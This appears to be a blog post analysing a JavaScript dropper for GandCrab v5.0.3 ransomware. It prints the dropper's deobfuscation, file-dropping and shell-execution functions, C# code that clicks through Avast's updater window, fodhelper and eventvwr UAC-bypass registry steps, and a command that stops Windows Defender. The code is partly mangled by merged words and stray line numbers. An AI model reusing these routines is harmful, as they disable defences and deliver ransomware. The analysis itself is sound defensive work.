Gandcrab v5.0.3 detail analysis of javascript delivery payload
Recently a friend of mine shared with me a Javascript file which on execution resulted in machine been infected by GandCrab ransomeware. Initial through was that it must be the Javascript implementation of ransomeware, but assumption tuned out to be wrong, the code was actually heavily obfuscated and it dropped the actual GandCrab binary (v5.0.3) which did the encryption. The Javascript code did lots of other technology like using Powershell script and ActiveXObject in order to evade detection.
Below is the detail analysis of GandCrab:
The javascript code heavily relies on ActiveX technology to carry out its functionality like executing shell/powershell command and dropping files. The javascript code is also heavily obfuscated with string obfuscation techniques.
To those who don’t know what ActiveX is? Its a software framework limited to Internet Explorer on Windows but you can install ActiveX plugin for chrome and Firefox. The danger of this software lies in its ability to allows access/execute data/code in the operating system outside the browser sandbox. This feature is heavily exploited by this GandCrab javascript code with appropriate browser security settings it could have been avoided.
When the javascript script file was opened there were many variables with very lengthly values which was decrypted dynamically and obfuscated as we will progress with the analysis you will realized that there were multiple layers of obfuscation to avoided antivirus detection. The simplified code looks as shown below :
// completely useless code var gveyimd = newDate(); // add some time delay while (true) { var cpedcxyfdmsl = newDate(); if ((cpedcxyfdmsl - gveyimd) > (942 + 58)) break; }
// very lengthly payload var layer_one_encrypted_payload = '886.....502'; // decrypt the obfuscated payload var layer_one_decrypted_payload = layer_one_encrypted_payload.replace(/(\d{2})/g, function( payload) { returnString.fromCharCode(parseInt(payload, 10) + 30); });
// execute the decypted payload exePayload(layer_one_decrypted_payload);
The above de-obfuscation technique is again used by other javascript code with is dropped to kill antivirus softwares.
The above code de-obfuscation the first layer of obfuscation and runs the decrypted javascript code. This code is responsible for the following functions :
Detect and kill Avast antivirus service
Detect and kill Windows Defender service
Detect and kill Microsoft Network Realtime Inspection Service
Detect and kill Ahnlab v3 internet security
Drop and execute GandCrabV5.0.3.
The skeleton of the de-obfuscated code is as show below :
functiondecryptAndDrop(ecryptedPayload, outputFileName) { // decrypt and drop the payload }
functionrunShellCommand(shellCommand) { // run shell command }
functiongetServiceStatus(serviceName) { // gets all the service passed in the parameter }
if (getServiceStatus('avast! Antivirus')) { // kill Avast antivirus if detected running }
if ((getServiceStatus('WdNisSvc')) || (getServiceStatus('WinDefend'))) { // DISABLE Windows Defender if detected running }
if (getServiceStatus('NisSrv')) // DISABLE Window antivirus if detected running } if (getServiceStatus('V3 Service')) { // Uninstall Ahnlabs if detected running
}
// drop and execute GandCrab binary
As we progress with the analysis we will see the detail explanation of each functionality, lets start with the basic function with are used used by the first layer of the code:
var bewktojmagvc = newActiveXObject('Scripting.FileSystemObject'); var zevdbpspf = WScript.CreateObject("WScript.Shell"); var malScriptPath = zevdbpspf.ExpandEnvironmentStrings("%USERPROFILE%") + "\\";
functiondecryptAndDrop(ecryptedPayload, outputFileName) { // decrypt and drop the payload var ecryptedPayloadClean = ecryptedPayload.split("").reverse().join(""); decyptedPayload = ''; for (i = 0; i < (ecryptedPayloadClean.length / 2); i++) { decyptedPayload += String.fromCharCode('0x' + ecryptedPayloadClean.substr(i * 2, 2)); } var payloadFile = newActiveXObject("ADODB.Stream"); payloadFile.Type = 2; payloadFile.Charset = "ISO-8859-1"; payloadFile.Open(); payloadFile.WriteText(decyptedPayload); payloadFile.SaveToFile(outputFileName, 2); payloadFile.Close(); }
The above function decrypts the payload passed as parameter and drops the file with the name specified in the second parameter. All the output files are drop in USERPROFILE directory.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
functionrunShellCommand(shellCommand) { var osShell = WScript.CreateObject("WScript.Shell"); var cmdResponse = osShell.Exec(shellCommand); var i = 0; while (true) { if (cmdResponse.Status == 0) { WScript.Sleep(100); i++; } else { break; } if (i == 1800) { cmdResponse.Terminate(); break; } } }
The above function runs the shell command as passed as first parameter. If the command was not successful then it goes to sleeps for 100 ms and retries it again. Retries goes on for maximum of 1800 time, if still unsuccessful then it kill this shell.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
functiongetServiceStatus(serviceName) { // gets all the service passed in the parameter var serviceObj = GetObject("winmgmts:").ExecQuery("SELECT * FROM Win32_Service WHERE Name='" + serviceName + "'"); vaatgfp = newEnumerator(serviceObj); xcabb = vaatgfp.item(); var bfdln = ''; try { bfdln = xcabb.State; } catch (e) {} if (bfdln == 'Running') { returntrue; } else { returnfalse; } }
This function get the status of service, it returns either true or false. The name of the service is passed as parameter to the function. This function is used many time in the script.
In the main javascript code first check if the Avast antivirus service is present? if it is. Then it drops and executes the kyoxks.js which is responsible for killing of antivirus. Below is the code with does that :
var windowsShell = WScript.CreateObject("shell.application"); var ligslo = newActiveXObject("WScript.Shell"); var mirzgxodyv = GetObject("winmgmts:\\\\.\\root\\CIMV2"); var xuzvgzuuqvg = mirzgxodyv.ExecQuery("SELECT * FROM Win32_OperatingSystem", "WQL", 0x10 | 0x20); var cruijgvvr = newEnumerator(xuzvgzuuqvg); var vzryitg = cruijgvvr.item(); var htklccofp = vzryitg.SystemDirectory; var fllijjwjsw = vzryitg.Version; var arr = fllijjwjsw.split(".");
Write Base64 encoded Unicode PowerShell scripting code to the registry key. This PowerShell code will be scheduled to run at regular interval in the later part of the script.
The corresponding registry key is HKEY_CURRENT_USER\SOFTWARE\ycsdrr\pvrylqzhlnv.
After writing the above PowerShell command code to the registry it schedules it to run it regularly.
The variable nfdmkk is a base64 encoded Unicode String above, and decoded sting it is as follows:
publicstatic IntPtr a10(string windowTitle, int ProcessID) { IntPtr retIntPtr = IntPtr.Zero; int maxCount = 9999; int ct = 0; IntPtr prevChild = IntPtr.Zero; IntPtr currChild = IntPtr.Zero; while(true && ct < maxCount) { currChild = FindWindowEx(IntPtr.Zero, prevChild, null, null); if (currChild == IntPtr.Zero) break; if (IsWindowVisible(currChild)) { uint procID = 0; GetWindowThreadProcessId(currChild, out procID); if (procID == ProcessID) { retIntPtr = currChild; break; } } prevChild = currChild; ++ct; } return retIntPtr; } publicstaticvoida13(int a15) { PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x20), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x20), new IntPtr(0)); ShowWindow(new IntPtr(a15), 0); } publicstaticvoida11(int a15) { PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x20), new IntPtr(0)); PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x20), new IntPtr(0)); ShowWindow(new IntPtr(a15), 0); } publicstaticvoida14(int a15) { ShowWindow(new IntPtr(a15), 0); } }
The above code find the Avast Updater window process ID and Send the appropriate message with a11a14 or a13 function using windows ShowWindow method.
In continuation with the above powershell script is the below script with Traverse the Avast updater process using the c# code which was just added.
The corresponding registry key is **HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command**.
The purpose of the command is to disable the Windows Defender.
It sets the registry key HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\DelegateExecute value to blank.
Execute fodhelper.exe this is the binary which read the command from the registry key and executes the command at high privilege.
sleeps for 2 secs and then deletes the same *HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command* registry key.
If the Version detected is 6(for Windows 7 and above) in that case it will do the following :
It write the command cmd.exe /C "sc stop WinDefend && taskkill /im MSASCui /f /t"* to registry key.
The corresponding registry key is *HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command*
The purpose of the command is to disable the Windows Defender.
Execute eventvwr.exe this is the binary which read the command from the registry key and executes the command at high privilege.
sleeps for 2 secs and then deletes the same *HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command* registry key.
When is say windows 7 and above it means following Operating System:
Windows Vista
Windows 7
Windows 8
Windows 8.1
What the above script is tying to achieve is the get privilege escalation and then disable the windows Defender service. To read more about this vulnerability on the Windows UAC bypass check the blogs below :
#Kill Microsoft Network Realtime Inspection Service
This below snippet in the main javascript file tries to detect if the Microsoft NisSrv service is running.
NIsSrv stands for Microsoft Network Realtime Inspection Service its a microsoft antivirus service starts at Windows boot time, implementing the Network Inspection Service. If it detect this service running then it drop and execute bervcptyvulur.js file.
If the code detects system running V3 Service then the below code runs. It decrypts and drops a file called recjyzcz.js this file is only dropped only if tgydmilslvp.txt is already present on %USERPROFILE% path otherwise it will drops the file tgydmilslvp.txt that contains value 777.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
var fileSystemObject = newActiveXObject('Scripting.FileSystemObject');
The above script follows the same pattern as previous scripts it writes a PowerShell script to registry key HKEY_CURRENT_USER\Software\capvzgf\cazysa and then use the same privilage escalation method as described in the previous section to execute that PowerShell script at high privilage.
The PowerShell script is base64 encoded unicode string, on decoding the script is as shown below.
Once the environment is set properly i.e. removing security products the javascript file drops and executes the malware binary leading to system encryption, code to drop binary is as shown below.
1 2 3 4 5 6 7 8 9 10 11 12
var stwnydqsuji = WScript.CreateObject("shell.application"); var bewktojmagvc = newActiveXObject('Scripting.FileSystemObject');